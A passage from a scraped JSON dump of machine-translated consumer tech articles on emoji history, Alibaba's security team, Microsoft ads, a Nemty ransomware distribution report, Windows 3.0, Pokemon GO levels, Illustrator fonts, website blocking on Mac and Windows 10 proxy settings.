the same as what people see on Android phones.\n  Some emoji and emoticon are interchangeable What makes things more ambiguous is that some emoji have identical emoticon copies. Most yellow round faces on smartphones have the corresponding character sets you may or may not remember, depending on your age.\nSome of them are difficult to explain if you don't know what their original meaning is, like : $ corresponds to the Flushed Face emoji. Others are very recognizable, such as ',: - | Symbolize the face with a raised eyebrow. Some other non-face emoji also have 'twin brothers' typography (works of art expressed in words). the broken heart symbol, @} -\u0026gt; - and a few other character sets symbolizing roses, and even * also symbolizes Santa!\nWhat is Smiley? The article will introduce another term here and we must solve this problem. In general, smiley is a graphical representation of a smiley face, regardless of form. The original emoticon :-) is counted as a smiley and Slightly emoji Smiling Face (light smiling face).\nPreviously, smiley was a yellow smiley face designed in 1963 and became a symbol of Rave culture (translated into Vietnamese as 'quack' culture). But when the emoticon appears in the chat room, people also start calling them smiley. In ICQ, Yahoo Messenger and other transfer-like hangouts in the other two centuries, smiley becomes more complex, diverse and even more animated.\n  How and when does emoji replace emoticon? Shigetaka Kurita, in charge of the interface design for a mobile operator in Japan, created the first famous emoji in 1999. Other emoji appeared two years ago, but the 1999 emoji set became popular in Japan, because mobile operators have added it to their messaging features.\nAccording to Shigetaka Kurita's interview with news site Vice, the first emoji ever created is a heart symbol. Faces with many different emotions, inspired by the people the designer sees in the city. The first set includes a total of 176 icons, representing things like emotions, weather, sports and everyday items.\nIn 2010, emoji were added to the Unicode standard and that allowed tech giants like Apple and Google to bring emoji to their users, through devices manufactured by these companies. When iPhone and Android users can add those cute little pictures to their messages and posts, they also feel happier. The emoticon, once 'dominating' text messages, is getting less and less used now.\nAs you know, until now emoji have pushed a lot of emoticons out of online conversations. But if you're still nostalgic about Shruggie, there are some websites to copy and paste emoticon, emoji, etc. for reference like: copyshrug.com, lennyfaces.net, kawaiiface.net, copyandpasteemoji.com, megaemoji.com or lenny-face-generator.textsmilies.com\nEmoji has taken over messenger conversations, captioned on Instagram and sometimes emailed. So if you're going to use them, just use them the way you want!\nThere are many tricks that allow you to get more emoji to choose from or give appropriate emoji feedback faster. You can expand your selection with an alternative emoji keyboard, using the predictive text feature to ask your phone to replace text with emoji, etc. The possibilities are endless.\nIf you are not sure how to use emoji, refer to some articles on TipsMake.com such as how to turn on emoji keyboard on iPhone, how to insert emoticons (smiley face) in Outlook email. You already know how to use emoticons on Windows 10 ?, etc. for more details.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKaYoqZdmbanssSrnKeblWKvpsDWnpynZZWivLW1wqilZpmemXqmuc6joA%3D%3D\n","link":"/post/the-main-difference-between-emoticon-and-emoji/","section":"post","tags":null,"title":"The main difference between Emoticon and Emoji"},{"body":"Being attacked by hackers is probably a terror to most people, especially companies and businesses. But in contrast to Alibaba, it is nothing to worry about, why? Because Jack Ma has a handful of talented people that can make hackers terrified before deciding to attack Alibaba.\nAlibaba Group was founded in 1999 and has since become the largest e-commerce group in China. Not only is famous for the e-commerce field, but Alibaba is also known by Chinese technology as a wall of impenetrable fortunes that hackers must be terrified. To create such a reputation, do you know what Jack Ma did to make this e-commerce group able to cope with all the famous Hacker in China?\nTerrifying hackers do not mean that Alibaba has not been attacked by the network, but most hackers have to pay a heavy price for their actions after the attack. Over the years, Alibaba's cyber-attacks have been developed very comprehensively and reached a high level, which makes hackers think of it.\nAli Shen - The powerful cyber security agency\n  \nTo create a powerful and smooth operation without any network security problems like today, Alibaba Group has excellent, excellent people in Alibaba's network security team - \"Ali Shen Yun \"(The shield of Ali) silently works day and night to help Jack Ma protect and develop Alibaba.\nAli Than Thuan team was established in 2005, this is considered the most mysterious part of Alibaba Group. Ali Shen Thuan's mission scope is very wide, covering the following areas: copyright protection, account safety protection, mainly preventing virtual account registration, protecting transaction safety, preventing fraud translate, remove malicious comments, ensure information security, protect privacy and prevent information leakage, ensure digital safety, control Big Data .\nAli Shen Yin is divided into 02 parts including Analysis Team and Action Team. In it, the Analysis Team is in charge of dealing with daily security reports, gray matter industry research, Action Team in charge of handling threats related to network security, solving account problems , transactions, information . Not only encapsulated in Alibaba Group, Ali Than Thuan also cooperates with units of the Ministry of Public Security of China on electronic warfare, making forces and powers more powerful. ever.\nAli team is resounding with talented commanders\nIn order to develop the team of Ali Than Thuan, Jack Ma has recruited 4 talents, who are considered the main pillars of Ali Than Thuan: Tieu Luc - expert of cybersecurity research, Phan Ai Dan - technical expert Social network and Liu Wei - technology engineer and finally Wu Wei Qing - white hat hacker, cyber security expert.\n  Among these four, the engineer born in 1985 Ngo Quyen Thanh, was respected by Chinese hackers and nicknamed Tieu Hac. At the age of 16, Xiao He was one of the most famous white-hat hackers, so much so that Chinese netizens always conveyed a phrase: \"Xiaoyi wants to hack anyone's house and sleeps tonight.\" At the age of 21, Tieu Hac successfully hacked Alibaba internal network from the interview room, immediately Ngo Quy Thanh was selected by Jack Ma and became one of the trump card for the company.\nTheir main job in Alibaba Group is to lead their team, ensure that Alibaba's operation system is smooth, not stagnant when there are several hundred million people visiting at the same time every day. In addition, they check and repair the vulnerabilities every day, hackers attack the Group's intranet. Xiaotong, Wu Deng Qing and colleagues built the \"Alibaba Firewall\" very firmly, DDos attack prevention system, and a variety of other security systems . can now say no one company, Which group has a strong network security system like Alibaba.\nBecause network security is also very much related to the law, Alibaba also recruited more than 20 other experts who worked in the judicial, legal, police . system of China. They provide an enormous amount of knowledge, flexibility in handling any legal issues of Alibaba.\nAbundant financial resources\n  \nWith a total assets of up to 37.4 billion USD, Jack Ma is considered the richest person in China and ranked 18th in the world according to Forbes magazine in August 2017. Alibaba Group is also one of the largest corporations in China, each of Alibaba's fluctuations has a significant impact on national finance. Therefore, Alibaba has a close relationship with government agencies, especially the Ministry of Public Security is understandable. For those who accidentally mistakenly mistaken Alibaba will be difficult to escape the labor circle, the risk of facing high projects compared to other organizations. Therefore, hackers often whisper that attacks on Alibaba are ineffective.\nWith its plentiful financial resources, Alibaba does not regret collecting and acquiring technology companies and information security companies not only in China but also worldwide. In 2015, Alibaba surprised many people when buying the Korean security company, Hai Nguyen, and then realized that with the joining of Han Hai Nguyen, Alibaba naturally got tons of prevention technology. APT, helped Alibaba's network security system be raised to new heights.\nNot only that, strong financial resources help Alibaba attract many talents to their side with extremely attractive salary. Specifically payroll of network security experts at Alibaba has been revealed sky-high.\nThe salary of technical experts is 400,000 - 600,000 yuan / year (1.3 billion - 2 billion VND), they are entitled to receive 1,000 shares and full use right after 4 years. The salary of senior experts is VND 600,000 - 1,000,000 / year (VND 2 billion - VND 3.4 billion) with 2,000 shares and full rights to use after 4 years. Long-term experts have higher salaries, from 1 million to 1.2 million yuan / year (3.4 billion - 4.1 billion VND). Employees in this position also have the right to negotiate the number of shares they want to receive.\nGood relationship with government and other individual organizations\n  In fact, Alibaba has many times been attacked by hackers, in particular: December 20-21, 2014, a game company using Alibaba's Yundun system suffered DDoS attacks, causing the system to be delayed for 14 hours continuously. . In June 2015, hackers attacked, took 99 million Taobao account information, of which more than 20 million accounts had regular transactions and enhanced use of security . But, thanks to force and relationship My wide Jack Ma has secured most of that information, avoiding leaking outside affecting the Group.\nThus, it can be seen that in addition to the excellent staff and good relationship with the government of Jack Ma, he helped Alibaba achieve many great achievements and prevent the threat from hackers.\nSee more:\nJack Ma's 15 \"expensive\" sales principles for business people All things about Jack Ma - Billionaire admires the whole world Jack Ma's classic sayings will change your life ncG1vNJzZmismaXArq3KnmWcp51krq21wZqZmmWRo7FuwMeeZJ%2Bnoqm2p7XEnWSjmZOgeq6tjLCYpaRdoq6lsYytn55lk522r7HSnmShmZOgsrO%2FjK2cq6qZm7amsA%3D%3D\n","link":"/post/alibaba-and-the-fortified-jack-ma-wall-made-the-chinese-hackers-terrified/","section":"post","tags":null,"title":"Alibaba and the fortified Jack Ma wall made the Chinese hackers terrified"},{"body":"Microsoft has experienced a decade of ups and downs not only with its products but also with its advertising. It will be interesting to take a look at interesting Microsoft product ads over the last decade.\n The Redmond giant is not the best company in terms of investment in advertising. The company's previous Windows Phone ads had very few positive effects, and the first Surface ads were weird. However, later ads show that Microsoft has invested more in advertising and product marketing.\nMicrosoft Kin (2010)\nThis is probably one of Microsoft's worst ads ever.\nMicrosoft Kin Advertising (2010)\nMicrosoft Kin is a phone running Microsoft's Windows CE-based KIN OS operating system. The goal of the device was to target social network users. Microsoft Kin is manufactured by Sharp and sold through Verizon.\nMadobe Nanami Windows 7 anime (2010)\nIn 2010, the Japanese branch of Microsoft made a series of ads in the form of very attractive anime. Microsoft has anthropomorphized various operating systems as cute anime girls.\nMadobe Nanami Windows 7 anime commercials (2010)\nThe Windows 7 anime ad has somewhat boasted of the full range of Windows 7 features, including touch support.\nNokia Lumia 800 (2011) \n\nAdvertising Nokia Lumia 800 (2011)\nIn fact, this is a Nokia ad, not really a Microsoft one. However, this ad partly showed Microsoft's efforts with the Windows Phone operating system at that time.\nMicrosoft \"Productivity\" (2011) \n\nMicrosoft Advertising \"Productivity\" (2011)\nThis is not really an advertisement for a commercial product but it deserves to appear on this list. This Microsoft ad aims to share a vision of the future of technology and how technology enhances the productivity of all of us.\n\"Movement\" Surface (2012) \n\n\"Movement\" Surface Advertising (2012)\nAmong the ads that have interesting ideas and are best expressed, perhaps the advertising ideas must be mentioned. Microsoft has mobilized a lot of people to participate in this advertising screen to show the outstanding features of the Surface tablet.\nThrough dance and choreography, the outstanding features of the Surface stand out are the convenience, the ability to fold, attach a removable keyboard and many impressive color options.\n\"Everything at once\" Windows 8 (2012) \n\n\"Everything at once\" advertisement Windows 8 (2012)\nFollowing Windows 7, Microsoft also released a lot of ads related to Windows 8. And one of them was the ad \"Everything at once\" Windows 8. In this ad, Microsoft skillfully introduced the Modern interface. New UI, Live Tiles or applications like Weather, Photos, Video, Email, Everyone, .\nInternet Explorer 11-tan anime (2013) \n\nAd Internet Explorer 11-tan anime (2013)\nAnime is probably Microsoft's favorite topic, so in 2013, Microsoft continued to release a video promoting the Internet Explorer browser in the form of anime characters.\n\"Don't fight\" Windows Phone (2013) \n\n\"Don't fight\" Windows Phone Ads (2013)\nThis is probably one of Microsoft's most successful ad vortex videos. The ad, titled \"Don't Fight\", means \"Don't Fight\" to highlight Windows Phone 8, specifically Lumia 920 and take down rivals such as iPhone and Galaxy smartphones.\niPad vs. Windows 8 (2013) \n\nIPad Advertising vs. Windows 8 (2013)\nWhen Windows 8 was born and directed to mobile products such as Surface, Microsoft of course did not forget to \"crack\" Apple's iPad with restrictions such as no pen, no keyboard.\nIPad Ads vs. Vs. Windows 8 is one of them. Microsoft has focused on highlighting Windows 8 on the Dell Venue 8 Pro with its impressive entertainment and multitasking features. And even the price of Dell Venue 8 Pro is also much cheaper than the iPad.\nXbox One (2013) \n\nXbox One Advertising (2013)\nThe birth of Xbox One opened a new chapter for Microsoft's gaming division. However, most of the features featured in this video have been omitted from the latest version of Xbox One or simply never appeared. This is probably one of the worst gaming console ads in history and doesn't really bring any value.\nSurface Book (2015) \n\nAdvertising Surface Book (2015)\nThe first promotional video of Surface Book really showed the progress of Microsoft in advertising. The company focuses on introducing the unique hinge mechanism of the Surface Book to highlight one of Microsoft's most compact, professional laptops.\n\"Pure Imagination\" Surface Studio (2016) \n\n\"Pure Imagination\" Advertising Surface Studio (2016)\nThe all-in-one Surface Studio desktop ad makes viewers seem fascinated because it can be tilted or upright depending on usage. You can tilt it to use it as a tablet or stand up, connect to the keyboard to use it as a computer for a true version.\n\"Minecraft Super Duper Musical\" (2017) \n\nThe ad \"Minecraft Super Duper Musical\" (2017)\nThis is an interesting ad, but Microsoft probably wants Xbox fans to forget about it. Microsoft created an interesting song and dance in the Mincecraft game to promote the Super Duper Graphics Pack.\nThis is a graphical package that is expected to help modernize the game and create more exciting new effects. Sadly, the Super Duper Graphics Pack has been discontinued and it is unknown when will appear again.\nSurface Duo (2019) \n\nAdvertising Surface Duo (2019)\nWith a dual-screen device called Surface Duo, Microsoft really caught the tech world by surprise. The device running Android operating system has really brought a breath of fresh air to Microsoft's mobile devices, while also alleviating nostalgia with the old Windows Phone.\n\"Mac Book says\" Surface (2019) \n\n\"Mac Book says\" Surface (2019) Advertising\nContinued to be another impressive whirlwind ad by Microsoft. The ad was shared by a guy named \"Mac Books\". The metaphor for this metaphor accidentally creates an interesting comparison between the Mac Book and the Surface Laptop 2.\nThe ad highlights the features on the Surface Laptop 2 that are impressive battery life, touch screen support and better performance.\nLucy and the Reindeer Holiday (2019) \n\nAdvertising Lucy and the Reindeer Holiday (2019)\nThis is a Christmas ad for 2019. It's still an interesting story integrated to introduce some of the Surface Pro X and Bing Translate features.\n\"We All Win\" Microsoft Superbowl (2019) \n\nAdvertising \"We All Win\" Microsoft Superbowl (2019)\nMicrosoft moved millions of people to tears after watching the \"Super All\" Microsoft Superbowl commercial for the Superbowl event. The focused advertisement features disabled gamers over the past year.\nAt the same time, Microsoft did not forget to emphasize the accessibility features on Windows 10 operating system to help people with disabilities can contact the computer more easily.\nRefer to WindowsCentral ncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkqK2kYsGpsYycpqiklajBbq3DrGSmoZOnvLS7xa1koZmjYrqisMRmpq%2BdomLBqbGMpZisrF2ZsqStw54%3D\n","link":"/post/check-out-the-coolest-ads-microsoft-has-made-over-the-last-decade/","section":"post","tags":null,"title":"Check out the coolest ads Microsoft has made over the last decade"},{"body":"International security researchers recently discovered a fake website, disguised as an address that provides some official applications from PayPal, but actually spread a new variation of the code. poisoned Nemty extortion, making many gullible people become victims of this dangerous ransomware.\nIt seems that the people behind this data encryption malware are trying to test various malware distribution channels because recently security experts have discovered its trace as a payload from a RIG exploit kit (EK).\nFrench police successfully cracked down on a botnet that exploits 850,000 computers from more than 100 countries.   Nemty ransomware is being distributed through a fake website\nSophisticated method of deception The spread of Nemty malware has been closely observed by security experts on the fake PayPal website, including a proposal that promises to give customers 3% to 5% of the amount from Purchases are successfully made through the payment system. According to experts, this attractive proposal is an attractive bait, hitting the greed of many people and making them victims of malicious code without even knowing it.\nDiscovered new malware, automatically recording a victim's screen when they watch 'adult movies'   The fake PayPal website is very similar\nIt is not too difficult for researchers to find clues about the fraudulent nature of this fake website. Besides, it is also marked as dangerous by most popular browsers. However, the fact that the proposed content, the often attractive amount of money that crooks still make many people ignore all warnings, just download and launch malware on your system. It is known that the executable file contains a malicious code called 'cashback.exe'.\nSecurity researcher nicknamed nao_sec found the distribution channel of this Nemty malware, and used the AnyRun test environment to deploy malware and track all its activity on an infected system. infected.\nEven DSLR cameras can easily be attacked by ransomware   Security researcher nicknamed nao_sec found the distribution channel of the Nemty malware\nThe automated analysis showed that it took about 7 minutes for the malicious code to finish encrypting the entire file on the victim server. Of course it still depends on the amount of data that the victim owns, but 7 minutes is the average period.\nFortunately, this malicious software can be detected by most commonly used antivirus programs on the market today. The scan results on VirusTotal show that up to 36 of the 68 most popular antivirus engines can now detect malicious signs of executable file 'cashback.exe'.\nAfter 15 years, the infamous MyDoom worm still exists and threatens email users worldwide Homoglyph attack At first glance, this malicious website is very similar to the real one because hackers have used images, interface structure, as well as information layout quite similar to the usual websites of PayPal.\nNot only that, in order to create more trust for the victims, the fake website developers have used a 'technique' called fake homograph domain names for links that lead to different sections of the site. web, such as Help \u0026amp; Contact, Fees, Security, Apps, and Shop .\nCrooks have developed this sophisticated technique by using domain Unicode characters from various alphabets. To distinguish between them, browsers will automatically translate them into Punycode. In this case, the characters in Unicode that look like paypal.com are translated into 'xn--ayal-f6dc.com' in Punycode.\nSecurity researcher Vitali Kremez conducted an analysis of this Nemty ransomware variant and noted that it is currently in version 1.4, along with some minor bug fixes.\nThe researchers paid special attention to a test procedure called 'isRU'. 'isRU' helps to verify whether computers infected with malware in some CIS countries such as Russia, Belarus, Kazakhstan, Tajikistan or Ukraine, have been modified. 'In the latest version, if the test result is' positive', the malware does not come with a file encryption function, '' said Vitali Kremez.\nNo More Ransom - the flagship of the battle against ransomware   Security researcher Vitali Kremez conducted an analysis of the Nemty ransomware variant\nHowever, countries outside this region will still be a lucrative target for malicious code. That is, they can still encrypt the file system as well as delete the virtual backup on the victim's system as usual.\nThe name Nemty ransomware has been a topic of discussion on many international security forums for a long time, but it was only really put on the watchlist of the infosec community at the end of August, at a time when Security researcher Vitali Kremez details his malware analysis process.\nAlso around the end of August, another security researcher, nicknamed Mol69, discovered that the Nemty malware was distributed via RIG EK, this is probably a strange choice in the context of the ministries. Mining tools are on the brink of 'extinction' when they target products that are related to an unpopular browser platform: Internet Explorer, Flash Player.\nRansomware is showing signs of booming around the world, and paying is no longer the most viable option. According to security expert Yelisey Boguslavskiy of Advanced Intelligence, Nemty is an emerging ransomware strain, not too dangerous but still capable of causing great damage if the measures to prevent the spread of malicious code are not taken from early.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwqitnqqVmXq1tMCtZJpllpa4pnnPmrCpmZxixKau0qKrnmWZqHq0vNGemJ2hnpx6r7HMrbBmqpGjwLC51pqpng%3D%3D\n","link":"/post/discovered-that-a-fake-paypal-website-is-spreading-nemty-ransomware/","section":"post","tags":null,"title":"Discovered that a fake PayPal website is spreading Nemty Ransomware"},{"body":"So what makes Windows 3.0 a special operating system?\nThe first version of Windows achieved success\nIn the early days of IBM PC-compatible computers, most PCs ran Microsoft MS-DOS, a command-line operating system that could only run one program at a time. As computers became more powerful in the early 1980s, \"multitasking\" also became a \"hot\" term. People began to complain about the benefits of being able to run two applications at the same time, namely helping to significantly improve work performance.\nIt was then that the ideas of computer-based graphical interfaces controlled by the mouse pointer - which first appeared on the Xerox Alto system - entered the personal computer industry. After seeing many operating systems with graphical user interfaces appear, Microsoft also launched its own mouse-driven graphical interface - Windows 1.0 - in 1985. This interface runs on MS-DOS. , provides users with a bitmap screen with application windows not overlapping.\nNeither Windows 1.0 nor 2.0 achieved success in the market. And then in 1990, Windows 3.0 appeared - another graphical user interface running on MS-DOS. It allows multitasking with both MS-DOS programs and applications written specifically for Windows. Unlike previous versions of Windows, Windows 3.0 was a hit when it sold more than 10 million copies. Subsequent updates to Windows 3.0 supported the installation and running of third-party applications, and helped Microsoft strengthen its dominance of the PC operating system market.\nA number of factors have contributed to the uniqueness and success of Windows 3.0\nNew software manager\n On today's versions of Windows, the Start Menu is a place to quickly and easily organize and launch installed applications. On Windows 3.0, this task belongs to Program Manager, and this is also the main interface (shell) of Windows.\nIf the shell on Windows 2.0 is MS-DOS Executive - basically a list of files, doesn't support application icons, then Windows 3.0 already supports \"large\" icons with 16 colors, giving you details of the icons are as good as expensive Macintosh computers, even though Windows 3.0 computers are much cheaper.\nIn addition, Program Manager is also quite easy to use. Compared to MS-DOS, or MS-DOS Executive of Windows 2.0, Program Manager has a friendly interface. Users can easily search and launch applications without worrying about accidentally tampering with the file system below.\nIf you want to manage files in Windows 3.0, you need to launch a separate application called File Manager. Today, File Explorer is both the main interface and the file manager of Windows 10.\nThe arrival of Microsoft Solitaire\n Today, Solitaire has become an integral part of Windows. This \"friendship\" began in 1990 when Microsoft introduced the first version of Solitaire into Windows 3.0. With highly detailed cards (and the backs of them are also interesting), Solitaire is an example of the operating system's graphics capabilities. And of course, this is a great way to kill time after busy office work.\nSolitaire has cards designed by Susan Kare, who designed many graphic elements and fonts for the Macintosh. She also designed many icons for Windows 3.0. Microsoft used cards designed by Kare until Windows XP, then replaced them on Windows Vista.\nWindows 3.0 also incorporates another game, Reversi. Microsoft then removed Reversi on Windows 3.1 (to replace it with Minesweeper). Only Solitaire is still available until Windows 7.\nBetter memory management, and true multitasking\nWindows 3.0 is equipped with an advanced memory management system, allowing it to use large amounts of RAM to run larger programs and for the first time to truly multitask. When multitasking MS-DOS programs, Windows 1.0 and 2.0 basically only show their graphical application launchers. In Windows 3.0, users can run many MS-DOS applications simultaneously - at the time, it was like magic!\nYou might be wondering, in 1990, what MS-DOS applications do you usually use? Thanks to backward compatibility, any application, from Lotus 1-2-3 to Captain Comic, runs on Windows 3.0. Windows also supports multi-node BBS software, allowing you to run multiple such software at the same time easily on a computer.\nNew 3D interface\n From the perspective of today, this interface may seem normal, but the buttons of Windows 3.0 was a perfect bright spot for the computer graphics interface at the time. They have highlights and shadows to simulate depth effects, and as a result most people think these buttons are \"3D\",\nOverall, Windows 3.0's clean interface is edgy and professional, with well-designed icons, standard window layouts, and nice fonts. For the first time in history, Windows has leveled (and even surpassed) the beauty of Mac OS, which was considered the standard graphical user interface of the day. It is the great visual effect that has made Windows 3.0 extremely popular.\nA turning point for PC in the fight against Mac\nWindows 3.0 was a turning point in the evolution of the PC, when computers capable of running a smooth graphical interface (and well handling related peripherals) became cheap enough for people. normal consumption. In 1990, you could buy a budget PC running Windows 3.0 for less than $ 1,000, while the cheapest color-priced Macintosh was $ 2,400. With a PC, a mouse, and a Windows version for $ 149, you can get a machine almost Mac but much cheaper.\nAs more and more people buy a platform, more companies will want to develop software for it, and that's exactly what happened with Windows 3.0. Although Windows 1.0 and 2.0 had more or less supported third-party software, it was not until Windows 3.0 that many software developers were just getting started, including Aldus with the popular desktop publishing software Aldus PageMaker. For office tasks, Microsoft releases excellent quality versions of PowerPoint, Word, and Excel for Windows 3.0, and more. You can really do everything on Windows 3.0\nAnd finally: CHESS.BMP\n How can you forget the high resolution wallpaper (640x480) with 16 colors that Microsoft has built into Windows 3.0?\nIn an era when VGA cards were popular, many users were also gradually running graphics environments at higher resolutions, such as 640x480. To meet that need, Microsoft has integrated CHESS.BMP, a graphical wallpaper with forgetting flags flying in the air above an endless chessboard. Windows users didn't support screensavers until Windows 3.1 in 1992, so CHESS.BMP is a perfect replacement.\nHappy birthday, Windows 3.0!\nncG1vNJzZmismaXArq3KnmWcp51ks6Kv06iprGWkna61ecyaop5lp567pbvWrGRsaF2ptaZ5zqmcq5mknruoedKyqq2dnWK3tr%2FTZmppZamarrO%2FjKijnWWSmrCwucRmqqmdk56urQ%3D%3D\n","link":"/post/factors-that-make-windows-3-0-the-operating-system-just-30-years-old/","section":"post","tags":null,"title":"Factors that make Windows 3.0 - the operating system just 30 years old"},{"body":"When ranking increases, your level in Pokemon GO, players will own a lot of precious gifts. We will have for themselves the Pokemon catch items like more new types of balls, medals when leveling, . and many worthy rewards for the effort that gamers have spent.\nSee more What will you get when you level up Pokemon GO And leveling up in Pokemon Go depends entirely on the XP experience we gain. There are a lot of activities in Pokemon Go that will help you get your experience points, from making beautiful ball throws, successfully defending your gym, . When you reach the specified XP score, Players will be eligible for promotion. So how many XP points are needed to level up? Is the condition of XP points different at each level? In this article, we will synthesize the specified XP points so that players can be promoted to the next level in Pokemon Go.\nSee how to level up quickly in Pokemon GO Level up Pokemon GO Experience XP needed to level up next Level 1 1,000 XP Level 2 2,000 XP Level 3 3,000 XP Level 4 4,000 XP Level 5 5,000 XP Level 6 6,000 XP Level 7 7,000 XP Level 8 8,000 XP Level 9 9,000 XP Level 10 10,000 XP Level 11 10,000 XP Level 12 10,000 XP Level 13 10,000 XP Level 14 15,000 XP Level 15 20,000 XP Level 16 20,000 XP Level 17 20,000 XP Level 18 25,000 XP Level 19 25,000 XP Level 20 50,000 XP Level 21 75,000 XP Level 22 100,000 XP Level 23 125,000 XP Level 24 150,000 XP Level 25 190,000 XP Level 26 200,000 XP Level 27 250,000 XP Level 28 300,000 XP Level 29 350,000 XP Level 30 500,000 XP Level 31 500,000 XP Level 32 750,000 XP Level 33 1,00,000 XP Level 34 1,250,000 XP Level 35 1,500,000 XP Level 36 2,000,000 XP Level 37 2,500,000 XP Level 38 3,000,000 XP Level 39 5,000,000 XP Level 40 Maximum level I wish you a successful upgrade!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKaYp7Fdrb1usdepnKuhlaOwpnnPqKCnrKNisbB52KisZqaVmrFuwM5mo56ulaF6tryMqaaknZ2ku26zzg%3D%3D\n","link":"/post/how-many-xp-experience-points-do-you-need-to-level-up-pokemon-go/","section":"post","tags":null,"title":"How many XP experience points do you need to level up Pokemon Go?"},{"body":"Installing additional fonts for Illustrator is really easy if you follow the process correctly. The following is the guide. In the tutorial, I will add VNI font - a set of Vietnamese fonts that is quite famous and beautiful, suitable for you to work with banner design, advertising.\n  Through the image below, you can see your font in Illustrator has only VNF font without VNI.\nStep 1: You must close Illustrator software by clicking on the [X ] button at the top right.\n  Step 2: You open the folder containing the downloaded font and font with black out entire commands Ctrl + A . Next, click on font (1) =\u0026gt; Install (2) .\n  Step 3: Once installed, open the Illustrator, enable the Type tool with shortcut T . Then, you look at the font settings Properties as shown below, the new font has appeared. In the article I installed and used the VNI font .\n  Step 4: You proceed to write some content with a new font. If the results are satisfied with what you expect is success. In the example below, I have successfully written Vietnamese accents with the new VNI font installed in Illustrator.\n  With the share on how to install fonts for Illustrator, readers will no longer have trouble whenever they want to install fonts on the computer for Illustrator anymore. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXquu9GeZJ%2BnnqnAbsDOZqClpKWowbOt06ip\n","link":"/post/how-to-add-more-fonts-to-illustrator/","section":"post","tags":null,"title":"How to add more fonts to Illustrator"},{"body":" This wikiHow teaches you how to block a website on a Mac. While there isn't a built-in way to block your own access to a certain website, you can download an app called SelfControl or Cold Turkey to block sites for a set amount of time....\nMethod 2of 3:\nUsing Cold Turkey  Go to https://getcoldturkey.com in a web browser. You can use any web browser on your Mac.\n  Click Download Now. It's the green button in the middle of the webpage.\n  Click Download for macOS. It's the grey button in the box labeled \"Basic\". This is the free version of Cold Turkey. The free version allows you to block websites on Safari, Chrome, and Firefox for a set period of time. The green button is the Pro version of Cold Turkey. It costs $25 and allows you to set daily time limits, block applications, and more.   Click on the \"Cold_Turkey_Mac_Installer.pkg\" file. This file can be found in your Downloads folder, or at the bottom of Safari or Chrome when you download the file.\n  Follow the instructions to install Cold Turkey. Once you click on the install file, follow the on-screen instruction to install Cold Turkey: Click Continue in the lower-right corner fo the Installer window. Click Continue to install the app for all users on your computer. Click Install. Enter the password for your Mac username. Click Close once the installation is finished.   Click the Spotlight   and type in \"Cold Turkey\". The spotlight search is in the upper-right corner of the menu bar. Once you type in the app name, a list of matching searches should show up below the search bar.   Click Cold Turkey Blocker.app. This opens the Cold Turkey Blocker app. Alternatively, you can click on \"Cold Turkey Blocker.app\" in your Applications folder.   Click Install next to the web browsers you use. This opens the Extension install page in the web browser. The Cold Turkey extension is available for Safari, Chrome, and Firefox. The Safari extension is automatically installed when you install the Cold Turkey app.   Open your web browser. You will need to install the extension and enable it on your web browser. When you open your web browser, the install page should already be open.\n  Click Install in the web browser. This displays a pop-up asking if you want to add the extension to your web browser.\n  Add the extension to your web browser. The way this is done is slightly different from one web browser to the next. Use the following steps to add the Cold Turkey extension to your web browser. Safari: The Cold Turkey extension is added to Safari automatically.  Chrome: Click Add to chrome in the pop-up at the top. Click Add extension.  \"Firefox:' Click Allow Click Add. Click Ok.    Enable the extension in your web browser. The extension must be enabled in your web browser. If it is not enabled, Cold Turkey will shut down your web browser within 30 seconds. Use the following steps to check to see if Cold Turkey is enabled on your web browser. Safari: Click Safari in the menu bar at the top of the screen. Click Preferences in the drop-down menu. Click the Extensions tab. Click the checkbox next to \"Cold Turkey\".  Chrome: Click ⋮ in the upper-right corner of Chrome. Click More Tools in the drop-down menu. Click Extensions. Click the toggle switch below the Cold Turkey extension. It should be blue.  Firefox: Click ☰ in the upper-right corner of Firefox. Click Add ons. Click Extensions in the sidebar to the left. Click Enable next to Cold Turkey.    Open the Cold Turkey app again. If should be in the Dock at the bottom of the screen. If it's not already open, you can search for the app using the Spotlight Search icon, or click on it in your Applications folder in the Finder. If you see a pop-up with a green button that says \"Restart Required\" next to any web browser. Click the green button to restart your browser. Then click Close.   Click Edit block lists. It's the green button at the bottom of the \"Dashboard\" page. Alternative, you can click the \"Block Lists\" option in the menu to the left.   Click + Add a new block list. This creates a new list of blocked sites. Cold Turkey also has a pre-installed list called \"Distractions\" with 54 common sites already listed.   Type a name for the list. Use the bar at the top labeled \"New Block List\" to type the name of your block list.\n  Type a web address at the top of the list and press Return. Use the bar that says \"Type URL, then press the return key\" to enter a website you want to block. For example, if you want to block Facebook, you would type www.facebook.com. Add as many websites as you want. To remove a website from the list, click the website, then click Remove.   Click Save. When you are finished entering all the websites you want to block, click Save to save the list. To Edit a block list, click the \"Block Lists\" option on the left, they click Edit below a list name.   Click the Timers option. It's below an icon that resembles a clock in the menu to the left.\n  Click the calendar icon next to a block list name. The Timers screen displays all block lists you have created. Click the icon that resembles a calendar next to the block list you want to use.\n  Click the day, hour, and minute you want the timer to end. You can set the timer for as many days as you want. If you want to set an hourly timer, click the current day.   Click the toggle switch to activate the timer. It's on the left side across from the list name. This displays a confirmation pop-up.\n  Click Yes. This confirms that you want to set a timer and blocks the websites in the block list for the set amount of time. WARNING: Once you set a timer, you cannot turn it off until the timer runs out.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecBmrp6ao57BpnnOp2SmmZM%3D\n","link":"/post/how-to-block-a-website-on-mac/","section":"post","tags":null,"title":"How to Block a Website on Mac"},{"body":"You may have never heard of Proxy Servers because many people who use the Internet everyday do not know their existence even though they appear everywhere and bring many benefits from tuning. Internet connection to increase security layer, change computer IP address. As more and more people use the latest Microsoft operating system, the article about how to connect to the proxy server for Windows 10 may be helpful to you.\nStep 1: First, you need to find a Windows 10 proxy server to redirect the traffic through it, or if you want, you can set up yourself to use your own computer. To connect to the server, right-click the Start button , then select the Settings icon .\n  Step 2: In this section, select Network \u0026amp; Internet and click on Proxy in the list on the left.\n  Step 3: The window that appears allows setting up proxy server parameters with two options: automatic or manual. If you already have a script, just select the Use Setup Script dialog box and enter the proxy's address in the Script Address box .\n  But usually we will only have IP address and port information, so choose it manually. In the Manual Proxy Setup section, turn on Use A Proxy Server by dragging the slider to the On option , then enter the IP address and port in turn into the Address and Port dialog boxes .\n  